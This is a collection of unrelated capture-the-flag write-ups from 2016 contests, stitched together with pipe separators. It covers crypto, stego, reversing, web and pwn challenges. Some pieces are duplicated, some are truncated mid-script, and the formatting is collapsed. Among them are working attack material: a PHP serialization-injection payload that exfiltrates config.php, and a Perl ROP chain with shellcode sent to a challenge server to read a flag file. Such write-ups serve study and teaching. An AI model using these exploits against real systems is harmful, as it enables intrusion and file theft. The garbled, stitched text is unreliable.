for x in range(26): print "%d, %s" % (x,caesar(a,x)[:100])"""0, Nb. Ckbkr De bkmoc kqksxcd dswo dy lvymu dro wycd nkxqobyec Sxdobxod wkvgkbo ofob mbokdon, k lydxod1, Nc. Clcls Df clnpd lrltyde etxp ez mwznv esp xzde olyrpczfd Syepcype xlwhlcp pgpc ncplepo, l mzeype2, Nd. Cmdmt Dg dmoqe msmuzef fuyq fa nxaow ftq yaef pmzsqdage Szfqdzqf ymximdq qhqd odqmfqp, m nafzqf3, Ne. Cnenu Dh enprf ntnvafg gvzr gb oybpx gur zbfg qnatrebhf Sagrearg znyjner rire perngrq, n obgarg4, Nf. Cofov Di foqsg ouowbgh hwas hc pzcqy hvs acgh robusfcig Sbhsfbsh aozkofs sjsf qfsohsr, o pchbsh5, Ng. Cpgpw Dj gprth pvpxchi ixbt id qadrz iwt bdhi spcvtgdjh Scitgcti bpalpgt tktg rgtpits, p qdicti6, Nh. Cqhqx Dk hqsui qwqydij jycu je rbesa jxu ceij tqdwuheki Sdjuhduj cqbmqhu uluh shuqjut, q rejduj7, Ni. Criry Dl irtvj rxrzejk kzdv kf scftb kyv dfjk urexviflj Sekvievk drcnriv vmvi tivrkvu, r sfkevk8, Nj. Csjsz Dm jsuwk sysafkl laew lg tdguc lzw egkl vsfywjgmk Sflwjfwl esdosjw wnwj ujwslwv, s tglfwl9, Nk. Ctkta Dn ktvxl tztbglm mbfx mh uehvd max fhlm wtgzxkhnl Sgmxkgxm fteptkx xoxk vkxtmxw, t uhmgxm10, Nl. Culub Do luwym uauchmn ncgy ni vfiwe nby gimn xuhayliom Shnylhyn gufquly ypyl wlyunyx, u vinhyn11, Nm. Cvmvc Dp mvxzn vbvdino odhz oj wgjxf ocz hjno yvibzmjpn Siozmizo hvgrvmz zqzm xmzvozy, v wjoizo12, Nn. Cwnwd Dq nwyao wcwejop peia pk xhkyg pda ikop zwjcankqo Sjpanjap iwhswna aran ynawpaz, w xkpjap13, No. Cxoxe Dr oxzbp xdxfkpq qfjb ql yilzh qeb jlpq axkdbolrp Skqbokbq jxitxob bsbo zobxqba, x ylqkbq14, Np. Cypyf Ds pyacq yeyglqr rgkc rm zjmai rfc kmqr bylecpmsq Slrcplcr kyjuypc ctcp apcyrcb, y zmrlcr15, Nq. Czqzg Dt qzbdr zfzhmrs shld sn aknbj sgd lnrs czmfdqntr Smsdqmds lzkvzqd dudq bqdzsdc, z ansmds
16, Nr. Carah Du races against time to block the most dangerous Snternet malware ever created, a botnet ^---- Ding ding ding!
17, Ns. Cbsbi Dv sbdft bhbjotu ujnf up cmpdl uif nptu ebohfspvt Soufsofu nbmxbsf fwfs dsfbufe, b cpuofu18, Nt. Cctcj Dw tcegu cickpuv vkog vq dnqem vjg oquv fcpigtqwu Spvgtpgv ocnyctg gxgt etgcvgf, c dqvpgv19, Nu. Cdudk Dx udfhv djdlqvw wlph wr eorfn wkh prvw gdqjhurxv Sqwhuqhw pdozduh hyhu fuhdwhg, d erwqhw20, Nv. Cevel Dy vegiw ekemrwx xmqi xs fpsgo xli qswx herkivsyw Srxivrix qepaevi iziv gviexih, e fsxrix21, Nw. Cfwfm Dz wfhjx flfnsxy ynrj yt gqthp ymj rtxy ifsljwtzx Ssyjwsjy rfqbfwj jajw hwjfyji, f gtysjy22, Nx. Cgxgn Da xgiky gmgotyz zosk zu hruiq znk suyz jgtmkxuay Stzkxtkz sgrcgxk kbkx ixkgzkj, g huztkz23, Ny. Chyho Db yhjlz hnhpuza aptl av isvjr aol tvza khunlyvbz Sualyula thsdhyl lcly jylhalk, h ivaula24, Nz. Cizip Dc zikma ioiqvab bqum bw jtwks bpm uwab livomzwca Svbmzvmb uiteizm mdmz kzmibml, i jwbvmb25, Na. Cjajq Dd ajlnb jpjrwbc crvn cx kuxlt cqn vxbc mjwpnaxdb Swcnawnc vjufjan nena lanjcnm, j kxcwnc"""``` |
## rand2 (Web, 2p) ###ENG[PL](#pl-version)
Page uses rand() to generate random numbers.One is printed at the start of the script.Five next is stored and only md5 hash is returned.Flag is displayed after we submit five unknown (for us numbers).
The seed has only 32 bit. Given enough CPU power we can exhaust a lot of this space.It also helps to try several rand() outputs at once - we need just one correct solution.To generate seeds producing given rand() output C program is used: ```cppstatic unsigned int rnd(unsigned int seed) { srand(seed); return rand();}
int main(int argc, char*argv[]) { int n[100]; for(int i=0;i<argc-1;i++) { n[i]=atoi(argv[i+1]); } int skip = !!fork() + 2*(!!fork()); for (uint32_t i=skip;i!=INT_MAX;i+=4) { int x = rnd(i); for(int j=0;j<argc-1;j++) { if(n[j] == x) { printf("%d %d\n", j, i); fflush(stdout); } } }}```To check if given seed produces numbers matching md5, php script is used:```php<?phpsrand((int)($argv[1]));echo rand();echo "\n";$rand = array();$i = 5;$d = '';$_d = '';while($i--){ $r = (string)rand(); $rand = $r; $d .= $r; $_d .= 'check[]='; $_d .= $r; $_d .= "&";}echo md5($d);echo "\n";echo $_d;echo "\n";?>```All is stiched up with a python script:```pythonimport requestsimport subprocess
url = "http://202.120.7.202:8888/"N = 8
session = [None] * N;rands = [None] * Nhashes = [None] * N
for i in xrange(len(session)): session[i] = requests.session() p = session[i].get(url+"?go") md5 = p.text[len(p.text)-32:] r = p.text[:len(p.text)-32] rands[i] = r hashes[i] = md5 print i, r, md5
proc = subprocess.Popen(["./a.out"]+rands, stdout=subprocess.PIPE)for output in iter(proc.stdout.readline,''): print output i,s = output.split(" ") r_output = subprocess.Popen(["php", "rand.php", s], stdout=subprocess.PIPE).communicate()[0] g_rand,g_hash,g_d,_ = r_output.split("\n") print hashes[int(i)], g_hash if hashes[int(i)] == g_hash: print g_d print session[int(i)].get(url+"?"+g_d).text proc.kill() break```We try 8 sessions at once. After only a few tries valid seed is found and flag returned.
###PL version
Stronka używa funckcji rand() do generowania liczb.Pierwsza jest wypisywana przy starcie skryptu.Pięć następnych jest zapisywanych a zwracany jest tylko hasz md5.Flaga zostanie nam ujawniona gdy podamy te pięć nieznanych nam liczb.
Ziarno dla funkcji rand() ma tylko 32 bity.Przy dostatecznie dużej mocy obliczeniowej możemy przeszukać znaczącą część tej przestrzeni.Możemy też próbować odgadnąć kilka ziaren na raz - potrzebne nam tylko jedno poprawne rozwiązanie a błędne nic na nie kosztują.Aby wygenerować możliwe ziarna dla podanej wartośći rand() używamy poniższego programu w C:```cppstatic unsigned int rnd(unsigned int seed) { srand(seed); return rand();}
int main(int argc, char*argv[]) { int n[100]; for(int i=0;i<argc-1;i++) { n[i]=atoi(argv[i+1]); } int skip = !!fork() + 2*(!!fork()); for (uint32_t i=skip;i!=INT_MAX;i+=4) { int x = rnd(i); for(int j=0;j<argc-1;j++) { if(n[j] == x) { printf("%d %d\n", j, i); fflush(stdout); } } }}```Każda podana liczba może być wygenerowana przez kilka różnych ziaren.Aby odrzucić fałszywe, generujemy hasz 5 kolejnych liczb skryptem PHP.Ziarno jest odrzucane jeżeli hasz różni się od wartośći orzymanej ze strony.```php<?phpsrand((int)($argv[1]));echo rand();echo "\n";$rand = array();$i = 5;$d = '';$_d = '';while($i--){ $r = (string)rand(); $rand = $r; $d .= $r; $_d .= 'check[]='; $_d .= $r; $_d .= "&";}echo md5($d);echo "\n";echo $_d;echo "\n";?>```Całość połączona jest skryptem w Pythonie:```pythonimport requestsimport subprocess
url = "http://202.120.7.202:8888/"N = 8
session = [None] * N;rands = [None] * Nhashes = [None] * N
for i in xrange(len(session)): session[i] = requests.session() p = session[i].get(url+"?go") md5 = p.text[len(p.text)-32:] r = p.text[:len(p.text)-32] rands[i] = r hashes[i] = md5 print i, r, md5
proc = subprocess.Popen(["./a.out"]+rands, stdout=subprocess.PIPE)for output in iter(proc.stdout.readline,''): print output i,s = output.split(" ") r_output = subprocess.Popen(["php", "rand.php", s], stdout=subprocess.PIPE).communicate()[0] g_rand,g_hash,g_d,_ = r_output.split("\n") print hashes[int(i)], g_hash if hashes[int(i)] == g_hash: print g_d print session[int(i)].get(url+"?"+g_d).text proc.kill() break```Próbująć odgadnąć 8 ziaren na raz, wystarczyło tylko kilka prób aby odgadnąć jedno mieszcząc się w czasie.
|
By running [binary](./randy_noflag) we can see strange symbols at debug info and they actually change every launch>./randy_noflag >>Welcome to Randy's TinyPoker! DebugInfo: g�[>>We've dealt you your hand face down, please enter it:
Ok, let's dive into the binary. We can see that the string changed its from:>Welcome to Randy's TinyPoker! DebugInfo: AAAA
Code below adds to each byte of the substring "AAAA" corresponding byte from received random int:![Debug](./debug_fixes.png)
It's quite big piece of code, but here we can see repeating blocks of opcodes. So logic can be rewrited in loop and it is as simple as this pseudocode:```pythonr = rand()s = "Welcome to Randy's TinyPoker! DebugInfo: AAAA"l = s.find('AAAA')
for i in range(5): a = r >> (24 - 8 * i) s[l+i] = (s[l+i] + a) % 256
```Further we see such block:
![Branch](./branch.png)
So here we simple need to enter the value that equals to local_18h. If we look in first screenshot of code we see that it returned value of random function.
So it's very easy to see that we can [produce](./randy.py) reverse function for retrieving produced random value and receive our flag:
Ehm, I forgot to save it, so we'll be glad to receive PR for fixing this line :)
Note: I guess it's actually can work by simple bruteforcing that value due to we know the seed of rand |
## Piapiapia (Web, 6p) ###ENG[PL](#pl-version)
We get a page and its source. It looks like flag is stored inside config.php.All inputs seem pretty well validated but 'nickname' doesn't handle arrays well.Validation is skipped when passed as 'nickname[]='.
SQL injection will be hard, as all backslashes and "unsafe" words are removed:```phpfunction filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string);}```The problem is, it's sanitized *after* being serialized:```php$user->update_profile($username, serialize($profile));
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where);}```
Replacing "where" with "hacker" changes the length of the string.Allowing us to replace part of serialized object with our content.We replace photo file name with "config.php":```php$payload = "\";}s:5:\"photo\";s:10:\"config.php\";}\";";$POST['nickname[]'] = str_repeat("where", strlen($payload)).$payload;```After this, "config.php" is returned as base64 encoded data uri:```php
```###PL version
Otrzymujemy strone PHP wraz ze źródłem. Flaga przetrzymywana jest w pliku config.php.Wszystkie wartośći wejściowe wydają się dobrze sprawdzane.Jednak walidacja 'nickname' nie zadziała jeżeli przekażemy go jako tablicę: `nickname[]=`
SQL injection może jednak okazać się problematyczne. Wszystkie `\\` oraz "podejżane" słowa kluczowe są usuwane:```phpfunction filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string);}```Niedopatrzeniem okazuje się to, że dane profilu "oczyszczane" są po serializacji: ```php$user->update_profile($username, serialize($profile));
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where);}```
Zamiana "where" na "hacker" zmienia długość zakodowanego łańcucha.Umożliwia to nadpisanie końcówki obiektu naszymi wartościami.Zamieniamy nazwę pliku ze zdjęciem na "config.php":```php$payload = "\";}s:5:\"photo\";s:10:\"config.php\";}\";";$POST['nickname[]'] = str_repeat("where", strlen($payload)).$payload;```Dzięki temu "config.php" jest nam zwracany jako base64 data uri:```php
``` |
Easy,Run ProcHollow1.exe , bp on LoadResourcesave loaded resource as childxxxxx.exe and run ollybp on 00A4215Dthe flag is written as byte sequences00A4215D |. C685 94FEFFFF>MOV BYTE PTR SS:[EBP-16C],41<span>00A42164 |. C685 95FEFFFF>MOV BYTE PTR SS:[EBP-16B],52...--------------or u can nop this call00A422E5 |. E8 2AEDFFFF CALL ProcHoll.00A41014and rundecrypted : ARIA_IS_GOOOD!~!</span> |
# BKPCTF 2016: des-ofb
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| BKPCTF | des-ofb | Crypto | 2 |
### Description> Decrypt the message, find the flag, and then marvel at how broken everything is. [https://s3.amazonaws.com/bostonkeyparty/2016/e0289aac2e337e21bcf0a0048e138d933b929a8c.tar](challenge)
## Write-up
This challenge consists of a small python script and a ciphertext file. The script looks as follows:
```pythonfrom Crypto.Cipher import DES
f = open('key.txt', 'r')key_hex = f.readline()[:-1] # discard newlinef.close()KEY = key_hex.decode("hex")IV = '13245678'a = DES.new(KEY, DES.MODE_OFB, IV)
f = open('plaintext', 'r')plaintext = f.read()f.close()
ciphertext = a.encrypt(plaintext)f = open('ciphertext', 'w')f.write(ciphertext)f.close()```
Its a trivial application of the DES block cipher in the [OFB mode of operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_Feedback_.28OFB.29) using an unknown key and IV `13245678`. If we look at a diagram of the OFB mode of operation we can see it is a streaming mode of operation which effectively turns a block cipher into a stream cipher via generation of a continuous keystream derived from iterative application of the block encryption function to the IV.
![alt ofb](ofb.png)
When dealing with streamciphers one has to be careful to avoid keystream repetition (eg. through IV reuse, short PRNG periods, etc.). In this case in particular consequences are dire if DES is used with a so-called ['weak key'](https://en.wikipedia.org/wiki/Weak_key#Weak_keys_in_DES) where E(E(P, K), K) = P thus meaning every even block of keystream is identical to the (publicly known) IV and every odd block of keystream is identical to E(IV, K). We can use this to disclose the even blocks of plaintext and attempt derivation of the odd keystream block using a known plaintext attack in order to disclose the entire plaintext [as follows](solution/desofb_crack.py):
```pythonimport stringfrom Crypto.Cipher import DES
def is_printable(s): return all(c in (string.printable) for c in s)
def get_blocks(data, block_size): return [data[i:i+block_size] for i in range(0, len(data), block_size)]
def xor_strings(xs, ys): return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
c = open("ciphertext", "rb").read()IV = '13245678'bs = DES.block_size
assert (len(c) % bs == 0), "[-] Ciphertext not a multiple of DES blocksize"
blocks = get_blocks(c, bs)
for b in blocks: x = xor_strings(b, IV) if (is_printable(x)): print x```
The result is clearly part of the ['To be or not to be'](https://en.wikipedia.org/wiki/To_be,_or_not_to_be) soliloquy of Shakespeare's Hamlet:
```r not tot is then:WhethNobler ind to su Slingsws of ou Fortunetake Armt a Seales,Andsing endo die, tNo more;```
We can use the rest of the text to derive the first 8 keystream bytes via known plaintext and thus reconstruct the full plaintext:
```pythonp = " be, tha"k = xor_strings(blocks[2], p)
s = ""for i in xrange(len(blocks)): if (i % 2 == 0): b = xor_strings(blocks[i], k) else: b = xor_strings(blocks[i], IV)
s += b
print s```
Which gives us:
```...Is sicklied o'er, with the pale cast of Thought,And enterprises of great pitch and moment,With this regard their Currents turn awry,And lose the name of Action. Soft you now,The fair Ophelia? Nymph, in thy OrisonsBe all my sins remembered. BKPCTF{so_its_just_a_short_repeating_otp!}``` |
## ltseorg (crypto, 4 points, 93 solves) make some (charlie)hash collisions!
In this task we were given a code with function hashing strings and were asked to createa hash collision. After reading the algorithm, we quickly noticed that the padding function was non-standard and flawed:```def pad_msg(msg): while not (len(msg) % 16 == 0): msg+="\x00" return msg```This simply added `\x00` bytes until message length is divisible by 16. That means thattwo messages: "a" and "a\x00", although being different, create same hashes. After sendingthem to the server, we receive the flag. |
Exploit warmup, make rwx memory using mprotect to write shellcode,use mmap() to create only readable memory, read /home/sandbox/flag into it, and call open(), read(), write().The sandbox will try to validate the path using process_vm_readv() but it'll just fail, causing realpath() to fail too and thus bypass the path check.-- @_cutzuse cutztools;$sock = new sock("202.120.7.207", 52608);# prepare stackprint $sock->readline();$sock->print( "B"x32 . p32(0x080480D8) . # start p32(0x1000) . # pagesize p32(7)x3 # prot);print $sock->readline();# prepare more stackprint $sock->readline();$sock->print( "A"x32 . p32(0x080480D8) . # start "A"x4 . p32(0x08048122) . # syscall p32(0x08049000) . # bss p32(0x08049000));print $sock->readline();# morefor (1 .. 2) { print $sock->readline(); $sock->print( "B"x32 . p32(0x080480D8) . "B"x16 ); print $sock->readline();}print $sock->readline();$sock->print( "B"x32 . p32(0x0804811D) . # read p32(0x080481B8) . # add esp, 0x30 p32(0) . # stdin p32(0x08049000) . # bss p32(125) # 125 -> mprotect);print $sock->readline();$assembler = new assembler();$assembler->assemble32('_start: movl $90, %eax movl $0x08049500, %ebx movl $0x13370000, (%ebx) movl $0x2000, 4(%ebx) movl $2, 8(%ebx) movl $0x32, 12(%ebx) int $0x80 movl $3, %eax xorl %ebx, %ebx movl $0x13370000, %ecx movl $0xff, %edxloop: movl $3, %eax int $0x80 addl $0xff, %ecx cmp $0xff, %eax je loop movl $0x13370000, %ebx movl $5, %eax xorl %ecx, %ecx int $0x80 movl %eax, %esiread: movl %esi, %ebx movb $3, %al subl $1, %esp lea (%esp), %ecx movb $25, %dl int $0x80 movl $4, %eax movl $1, %ebx movl $25, %edx int $0x80');$shellcode = $assembler->raw();$sock->print($shellcode . "A"x(125-length $shellcode) . "/home/sandbox/flag\x00");print $sock->readnum(1024); |
## OPM (Misc, 3p) ###ENG[PL](#pl-version)
In this task, we got only an image - so the first step was probably solving a stegano task.Using Stegsolve, we quickly see that least significant bits of all three channels (R,G,B) containsemi-random data on top of the image, and are totally black on the bottom. Extracting data from thosechannels (also using Stegsolve), we see that first two bytes are "PK" - a zip file signature.
After unzipping the file, we get a single file called "STMFD SP!, {R11,LR}". We recognize it as anARM assembly instruction. The file contained hexdump of another file in form:```aa109c60 e92d4800aa109c64 e28db004aa109c68 e24dd018aa109c6c e50b0010aa109c70 e50b1014aa109c74 e50b2018...```The first column was increasing, so it was probably just an address - the bytes on the right were moreinteresting. After creating a new file containing the second column concatenated and unhexed (in littleendian), we got an ARM binary (without any headers, just the assembled code). After analyzing the code,we see that it accepts a password and checks if it is correct. A very high fraction of the file isused for the key-checking function. It is very repetitive too: most of the code looks like:``` c7c: e51b3050 ldr r3, [fp, #-80] ; 0xffffffb0 c80: e3e0101a mvn r1, #26 c84: e0030391 mul r3, r1, r3 c88: e0822003 add r2, r2, r3```That means:```c7c - load byte from password at position 80c80 - r1=26c84 - r3=r1*r3c88 - r2+=r3```Or, shortly: `r2+=password[80]*26`.
This procedure was repeated for every password byte. R2 was then checked against a constant value.The whole checking code was repeated a few times with different constants, to ensure that the passwordis unique.
We quickly saw that the password is a string that satisfies:```pass[0]*a00 + pass[1]*a01 + pass[2]*a02 ... = b0pass[0]*a10 + pass[1]*a11 + pass[2]*a12 ... = b1...```It was not easy to parse the disassembly to get the a's and b's though - some multiplicationswere realized as logical shifts, for example. Instead, we decompiled the code using Retargetable Decompiler - http://pastebin.com/yrziPfYy. The code looked much better for parsing. We selectedthe interesting part of the code to `decomp` file, and wrote Python code which would parse it -`solve.py`. The code, when ran, gives us the flag: `Tr4c1Ng_F0R_FuN!`.
###PL version |
# HackIM RE 2 Pseudorandom - 300pts
>Random as F*!@
## Write-up
This challenge sucked, mostly because I'm rusty at reverse-engineering (not too much of it at $DAYJOB), and I ended up doing a lot of this manually, which I'm sure was way harder than it needed to be.
The first thing I noticed was that it lived up to the challenge name `psudorandom`. They actually mean it, as their RNG is actually never seeded, so it produces the same output over and over. That definitely helps! The only real hurdle was the fact that there was a `sleep(random())` at start-up. Easily fixed with an `LD_PRELOAD` hack (see `sleepy.c` below).
The only real challenge was figuring out which function was doing the deciding work, but thankfully the program would return immediately when it hit a bad number in the sequence, so backtracking it and looking at the comparison leading down the failure state let me fiddle around with the numbers until I figured out a pattern. Essentially the inputs are powers of 2, starting at `2^15`. Eventually it would cycle, shift, and repeat. Half-way through it started to half. Through guessing + checking I was able to figure out the correct sequence, and it eventually crapped out the flag `nullcon{50_5tup1d_ch4113ng3_f0r_e1i73er_71k3-y0u}`. Good times at 6AM :).
Flag:> nullcon{50_5tup1d_ch4113ng3_f0r_e1i73er_71k3-y0u}
```c// sleepy.c// compile with `gcc -fPIC -shared sleepy.c -o sleepy.so`int sleep(int seconds){ return 0; // So sleepy}```
```bash# What that glorious moment looked likehacker@lubuntu-64:~/Downloads$ LD_PRELOAD=/home/hacker/Downloads/sleepy.so ./pseudorandom_binI will generate some random numbers.If you can give me those numbers, you will be $rewarded$hmm..thinking...OK. I am Ready. Enter Numbers.32768655361310722621445242881048576209715241943048388608---SNIP---64128816326448163221Good Job!!Wait till I fetch your reward...OK. Here it isThe flag is:nullcon{50_5tup1d_ch4113ng3_f0r_e1i73er_71k3-y0u}``````python# The solution in base64 as there are a lot of newlines in the answerimport base64solution = """MzI3NjgKNjU1MzYKMTMxMDcyCjI2MjE0NAo1MjQyODgKMTA0ODU3NgoyMDk3MTUyCjQxOTQzMDQKODM4ODYwOAoxNjc3NzIxNgozMzU1NDQzMgo2NzEwODg2NAoxMzQyMTc3MjgKMjY4NDM1NDU2CjE2Mzg0CjMyNzY4CjY1NTM2CjEzMTA3MgoyNjIxNDQKNTI0Mjg4CjEwNDg1NzYKMjA5NzE1Mgo0MTk0MzA0CjgzODg2MDgKMTY3NzcyMTYKMzM1NTQ0MzIKNjcxMDg4NjQKMTM0MjE3NzI4CjgxOTIKMTYzODQKMzI3NjgKNjU1MzYKMTMxMDcyCjI2MjE0NAo1MjQyODgKMTA0ODU3NgoyMDk3MTUyCjQxOTQzMDQKODM4ODYwOAoxNjc3NzIxNgo0MDk2CjgxOTIKMTYzODQKMzI3NjgKNjU1MzYKMTMxMDcyCjI2MjE0NAo1MjQyODgKMTA0ODU3NgoyMDk3MTUyCjIwNDgKNDA5Ngo4MTkyCjE2Mzg0CjMyNzY4CjY1NTM2CjEzMTA3MgoyNjIxNDQKNTI0Mjg4CjEwNDg1NzYKMTAyNAoyMDQ4CjQwOTYKODE5MgoxNjM4NAozMjc2OAo2NTUzNgoxMzEwNzIKMjYyMTQ0CjUyNDI4OAo1MTIKMTAyNAoyMDQ4CjQwOTYKODE5MgoxNjM4NAozMjc2OAo2NTUzNgoxMzEwNzIKMjYyMTQ0CjI1Ngo1MTIKMTAyNAoyMDQ4CjQwOTYKODE5MgoxNjM4NAozMjc2OAo2NTUzNgoxMjgKMjU2CjUxMgoxMDI0CjIwNDgKNDA5Ngo4MTkyCjE2Mzg0CjMyNzY4CjY0CjEyOAoyNTYKNTEyCjEwMjQKMjA0OAo0MDk2CjMyCjY0CjEyOAoyNTYKMTYKMzIKNjQKMTI4CjgKMTYKMzIKNjQKNAo4CjE2CjMyCjIK"""print base64.b64decode(solution)``` |
Easy,Run ProcHollow1.exe , bp on LoadResourcesave loaded resource as childxxxxx.exe and run ollybp on 00A4215Dthe flag is written as byte sequences00A4215D |. C685 94FEFFFF>MOV BYTE PTR SS:[EBP-16C],41<span>00A42164 |. C685 95FEFFFF>MOV BYTE PTR SS:[EBP-16B],52...--------------or u can nop this call00A422E5 |. E8 2AEDFFFF CALL ProcHoll.00A41014and rundecrypted : ARIA_IS_GOOOD!~!</span> |
---title: "Write-up - Sunshine CTF 2016 - Find Floridaman"date: 2016-03-14 00:00:00tags: [Write-up, Sunshine CTF 2016]summary: "Write-up about Sunshine CTF 2016 - Find Floridaman"---
To find the flag of this challenge, we need to look at Florida based newspaper and search in the comments. The hint we have is to look a story about a man accused of throwing a live alligator through a restaurant's drive-through window.
After some research, we find that the newspaper we need to look at is [The Palm Beach Post / MyPalmBeachPost](http://www.mypalmbeachpost.com/) and the article we needed to read was [_Wendy’s alligator-thrower is only fulfilling his Flori-duh destiny_](http://www.mypalmbeachpost.com/news/news/crime-law/wendys-alligator-thrower-is-only-fulfilling-his-fl/nqNfr/). The flag is in the comments.
|
Uploaded to https://29a.ch/photo-forensics/. Looking at error level analysis, I see something, and a bit of fiddling with settings gets me the flag.
sun{READY_THE_4CID_M4GNET} |
---title: "Write-up - Sunshine CTF 2016 - Butterfly Effect"date: 2016-03-14 00:00:00tags: [Write-up, Sunshine CTF 2016]summary: "Write-up about Sunshine CTF 2016 - Butterfly Effect"---
After downloading a picture of a beautiful butterfly, we need to find the flag inside the picture. The file is available [here](https://raw.githubusercontent.com/d0tslashpwn/ctf-files/master/Sunshine-CTF-2016/forensics/butterfly-effect/butterfly.png). We use the application [Steganabara](https://www.wechall.net/downloads/by/user_name/ASC/page-1).
```% java -jar steganabara-1.1.1.jar```
We modify a bit the color as shown below.
We finally find the flag; `sun{READY_THE_4CID_M4GNET!}`.
|
# misc50 - 'The hidden message'
> My friend really can't remember passwords. > So he uses some kind of obfuscation. > Can you restore the plaintext?
> Attachment: Download [misc50.zip](./misc50.zip)
After opening up misc50.zip we're greeted with these series of 'obfuscated' numbers.
```0000000 126 062 126 163 142 103 102 153 142 062 065 154 111 121 157 1130000020 122 155 170 150 132 172 157 147 123 126 144 067 124 152 102 1460000040 115 107 065 154 130 062 116 150 142 154 071 172 144 104 102 1670000060 130 063 153 167 144 130 060 113 0120000071```
Right off the bat I notice that the number format is in threes, most of the them start with zeroes. I guess that it's just octal.
We can confirm this by seeing how the columns are going by 020. 020 in decimal is 16. There IS 16 numbers vertically each row.
So we throw this into a [octal to ascii converter](http://www.unit-conversion.info/texttools/octal/) and get this:
```V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K```
Well this is most likely a Base64-encoded string with no padding (= signs).
So let's just take the risk and [try it](http://www.freeformatter.com/base64-encoder.html)
And we get our flag :3
```Well done!
Flag: IW{N0_0ne_can_st0p_y0u}```
|
#!/usr/bin/env python2
import pwnimport structimport binasciiimport base64import time
local = False#pwn.context(arch='x86_64', os='linux')#shell = pwn.asm(pwn.shellcraft.sh())
def p64(x): return struct.pack(" |
# IWCTF 2016 - Code - A numbers game - 50 pts
> Description: People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake.>> Service: 188.166.133.53:11027
# Write-up
The service greets us with some equation to solve (Level 1). Surely this won't be the only one, so it would be tedious to solve them manually (and it wouldn't be in the coding section if it would be intended to do so ;))
So here's another quick&dirty ctf script:
```python#!/usr/bin/pythonfrom socket import *import re
s = None
BANNER = "Hi, I heard that you're good in math. Prove it!\n"YAY = "Yay, that's right!\n"
# solve the equation (taken from http://code.activestate.com/recipes/365013-linear-equations-solver-in-3-lines/)def solve(eq,var='x'): eq1 = eq.replace("=","-(")+")" c = eval(eq1,{var:1j}) return -c.real/c.imag
# connect to the service and fetch the bannerdef connect(): global s print "Connect..." s = socket(AF_INET, SOCK_STREAM) s.connect(("188.166.133.53",11027)) res = s.recv(len(BANNER)) print res
# grab the equation from received stringdef geteq(msg): match = re.search('Level (.*).: (.*)', msg, re.S)
print "Level : %s" % match.group(1) print "Equation : %s" % match.group(2)
return match.group(2) # receive equation and send answer back to the servicedef solvequestion(): msg = s.recv(1024) print "Received: %s" % msg eq = geteq(msg)
res = solve(eq) print "Result : |%s|" % str(int(res)) s.send(str(int(res))) res =s.recv(len(YAY)) print res
connect()
while True: solvequestion()```
At least it does its job:
```shell$ python solve.py Connect...Hi, I heard that you're good in math. Prove it!
Received: Level 1.: x + 9 = 12
Level : 1Equation : x + 9 = 12
Result : |3|Yay, that's right!
Received: Level 2.: x - 3 = 10
Level : 2Equation : x - 3 = 10
Result : |13|Yay, that's right!
[SNIP]
Received: Level 100.: x - 1582 = -1251
Level : 100Equation : x - 1582 = -1251
Result : |331|Yay, that's right!
Received: IW{M4TH_1S_34SY}```
and rewards us with the next flag: `IW{M4TH_1S_34SY}` |
#des-ofb
**Category:** Crypto**Points:** 2**Description:**
Decrypt the message, find the flag, and then marvel at how broken everything is.
##Write-upTo start we are provided with two items, a copy of the ciphertext and the following python script.
```pythonfrom Crypto.Cipher import DES
f = open('key.txt', 'r')key_hex = f.readline()[:-1] # discard newlinef.close()KEY = key_hex.decode("hex")IV = '13245678'a = DES.new(KEY, DES.MODE_OFB, IV)
f = open('plaintext', 'r')plaintext = f.read()f.close()
ciphertext = a.encrypt(plaintext)f = open('ciphertext', 'w')f.write(ciphertext)f.close()```
A quick glance at the code (and the challenge title) tells us that we're dealing with Data Encryption Standard (DES) utilizing Output Feedback (OFB) mode. We can also see in the code that we already have the Initialization Vector (IV) used for encryption ```IV = '13245678'```. A quick refresher on OFB shows that the decryption process envolves the ```IV``` and ```key``` being encrypted and then XORed with the ```ciphertext``` to return our ```plaintext```.
![Image of OFB](./Images/601px-OFB_decryption.png)
I know it's obvious, but for the sake of trying to write a thorough write-up I'll say it. Since we know the ```IV``` and ```ciphertext``` already, the last piece that we need to decrypt the message is the ```key``` itself. My first thought was just to try and bruteforce the key outright with the following script.
```pythonfrom Crypto.Cipher import DES
def is_ascii(s): return all(ord(c) < 128 for c in s)def ByteToHex( byteStr ): return ''.join( [ "%02X" % ord( x ) for x in byteStr ] ).strip()
